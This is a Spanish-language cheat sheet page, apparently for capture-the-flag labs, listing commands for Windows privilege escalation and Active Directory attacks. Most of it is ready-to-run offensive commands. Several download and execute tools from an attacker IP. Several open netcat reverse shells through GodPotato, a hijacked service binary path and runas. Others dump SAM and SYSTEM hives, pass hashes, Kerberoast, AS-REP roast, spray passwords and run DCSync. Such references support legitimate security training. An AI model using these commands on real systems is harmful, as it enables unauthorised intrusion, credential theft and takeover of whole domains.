Escalada en Windows y Active Directory
Comandos para enumerar Windows y pasar a SYSTEM (SeImpersonate, servicios, AlwaysInstallElevated, credenciales) y lo básico de Active Directory (Kerberoasting, AS-REP, BloodHound, DCSync).
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Windows
Enumeración
Usuario, grupos y privilegios
whoami /all
Sistema y parches
systeminfo
Usuarios y administradores
net user
net localgroup administrators
Puertos internos
netstat -ano | findstr LISTENING
winPEAS
iwr http://10.10.14.5/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe; C:\Windows\Temp\wp.exe
PowerUp
IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'); Invoke-AllChecks
Privilegios de token
SeImpersonate con GodPotato
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Típico en cuentas de servicio (IIS, MSSQL). Alternativas para versiones antiguas, PrintSpoofer y JuicyPotatoNG.
SeImpersonate con PrintSpoofer
.\PrintSpoofer64.exe -i -c powershell
SeBackupPrivilege (copiar SAM y SYSTEM)
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Sacar los hashes de SAM
Atacante
impacket-secretsdump -sam sam -system system LOCAL
Servicios
Rutas sin comillas con espacios
Get-CimInstance Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select Name,PathName,StartMode
Configuración y permisos de un servicio
sc.exe qc NombreServicio
icacls "C:\Ruta\servicio.exe"
Cambiar el binario de un servicio modificable
sc.exe config NombreServicio binpath= "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop NombreServicio; sc.exe start NombreServicio
AlwaysInstallElevated
Comprobar (las dos claves a 1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Instalar un MSI malicioso
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi
Crea el MSI con msfvenom (ver la chuleta de reverse shells).
Credenciales guardadas
Historial de PowerShell
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Credenciales de Windows guardadas
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"
Autologon en el registro
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Buscar contraseñas en ficheros
findstr /si /m "password" C:\inetpub\*.config C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini
Credencial PSCredential en XML
$c = Import-Clixml -Path cred.xml; $c.GetNetworkCredential().Password
Acceso remoto
WinRM
Atacante
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash con psexec
Atacante
impacket-psexec [email protected] -hashes :HASH_NT
Pass-the-hash con evil-winrm
Atacante
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT
Active Directory
Desde tu máquina. Sincroniza la hora con el DC antes de usar Kerberos (sudo ntpdate DC), o tendrás el error KRB_AP_ERR_SKEW.
Sin credenciales
Nombre del dominio y del DC
netexec smb 10.10.11.20
Validar usuarios (Kerberos)
kerbrute userenum -d box.htb --dc 10.10.11.20 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
AS-REP roasting
impacket-GetNPUsers box.htb/ -usersfile usuarios.txt -no-pass -dc-ip 10.10.11.20 -format hashcat
Crackea con hashcat -m 18200.
Usuarios por RID (sesión de invitado)
netexec smb 10.10.11.20 -u guest -p '' --rid-brute
Con credenciales
Comprobar credenciales y acceso
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!'
netexec winrm 10.10.11.20 -u 'usuario' -p 'Password123!'
Usuarios del dominio
netexec smb 10.10.11.20 -u 'usuario' -p 'Password123!' --users
Kerberoasting
impacket-GetUserSPNs box.htb/usuario:'Password123!' -dc-ip 10.10.11.20 -request
Crackea con hashcat -m 13100.
Recoger datos para BloodHound
bloodhound-python -u 'usuario' -p 'Password123!' -d box.htb -ns 10.10.11.20 -c All --zip
Plantillas de certificados vulnerables (ADCS)
certipy-ad find -u '[email protected]' -p 'Password123!' -dc-ip 10.10.11.20 -vulnerable -stdout
Password spraying
netexec smb 10.10.11.20 -u usuarios.txt -p 'Password123!' --continue-on-success
Dominio comprometido
DCSync
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20 -just-dc-ntlm
Shell como administrador con el hash
impacket-wmiexec box.htb/[email protected] -hashes :HASH_NT
Ningún comando coincide.